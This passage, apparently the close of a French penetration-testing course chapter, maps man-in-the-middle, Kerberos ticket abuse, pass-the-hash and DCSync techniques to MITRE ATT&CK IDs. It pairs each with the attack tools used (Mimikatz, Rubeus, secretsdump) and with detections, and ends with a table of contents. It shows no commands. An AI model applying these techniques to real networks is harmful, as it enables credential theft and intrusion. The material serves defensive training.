Adversaire au Milieu	T1557	Chaine d'attaque MITM complete	Surveillance reseau, HTTPS/HSTS
Vol ou Falsification de Tickets Kerberos : Kerberoasting	T1558.003	GetUserSPNs, Rubeus	Evenement 4769, application AES, gMSA
Vol ou Falsification de Tickets Kerberos : AS-REP Roasting	T1558.004	GetNPUsers	Appliquer la preauthentification, Evenement 4768
Golden Ticket	T1558.001	ticketer, Mimikatz	Detecter DCSync non-DC, rotation krbtgt
Pass the Hash	T1550.002	psexec, wmiexec, CME	Credential Guard, desactiver NTLMv1
Pass the Ticket	T1550.003	import kirbi, Rubeus	Anomalies Evenement 4768/4769
Services Distants : SMB/Partages Admin Windows	T1021.002	psexec, smbexec	Evenement 7045, surveiller l'acces ADMIN$
Services Distants : Windows Remote Management	T1021.006	evil-winrm	Restreindre WinRM, activer la journalisation PowerShell
Extraction de Credentials OS : DCSync	T1003.006	secretsdump, Mimikatz	Evenement 4662, alertes MDI
Utilisation de Materiel d'Authentification Alternatif	T1550	PtH, PtT, Golden Ticket	Gestion des identites privilegiees

Fin du Chapitre 3.3 - Homme du Milieu, Usurpation et Mouvement Lateral

Suivant : Chapitre 3.4 - Techniques d'Attaque sans Fil et VPN

Table des Matieres​

1. Fondamentaux de l'Interception Reseau - ARP, LLMNR et NBNS​

Pourquoi Ces Protocoles Sont Exploitables​

2. Empoisonnement ARP et MITM Couche 2​

Empoisonnement ARP avec arpspoof​

Empoisonnement ARP avec Bettercap​

Capture du Trafic Pendant le MITM​

3. Empoisonnement LLMNR/NBT-NS et Capture NTLM​

Responder - Empoisonneur LLMNR/NBT-NS/mDNS​

Craquage des Hachages NTLMv2​

4. Attaques par Relais SMB - Relais de Credentials vers RCE​

Configuration de l'Attaque - Responder + ntlmrelayx​

Utilisation des Sessions Relayees via SOCKS​

Relais HTTP/HTTPS (WebDAV et WPAD)​

5. Usurpation DNS et Detournement BGP​

Empoisonnement du Cache DNS​

Tester Votre Propre Infrastructure pour les Vulnerabilites d'Empoisonnement de Cache​

6. Attaques IPv6 - Abus SLAAC et Usurpation DHCPv6​

mitm6 - DHCPv6 + Usurpation DNS​

7. Mouvement Lateral dans les Environnements Active Directory​

Pass-the-Hash et Pass-the-Ticket​

Mouvement Lateral via WMI​

PowerShell Remoting (WinRM)​

DCSync - Replication des Credentials du Domaine​

8. Attaques Kerberos - Kerberoasting, AS-REP Roasting et Pass-the-Ticket​

Flux des Tickets Kerberos​

Kerberoasting​

AS-REP Roasting​

Pass-the-Ticket (PtT)​

Attaque Golden Ticket​

9. Detections Defensives et Mesures d'Attenuation​

Detection de l'Empoisonnement LLMNR/NBT-NS​

Detection du Kerberoasting​

Attenuation des Attaques Kerberos​

Detection du DCSync​

10. Correspondance MITRE ATT&CK​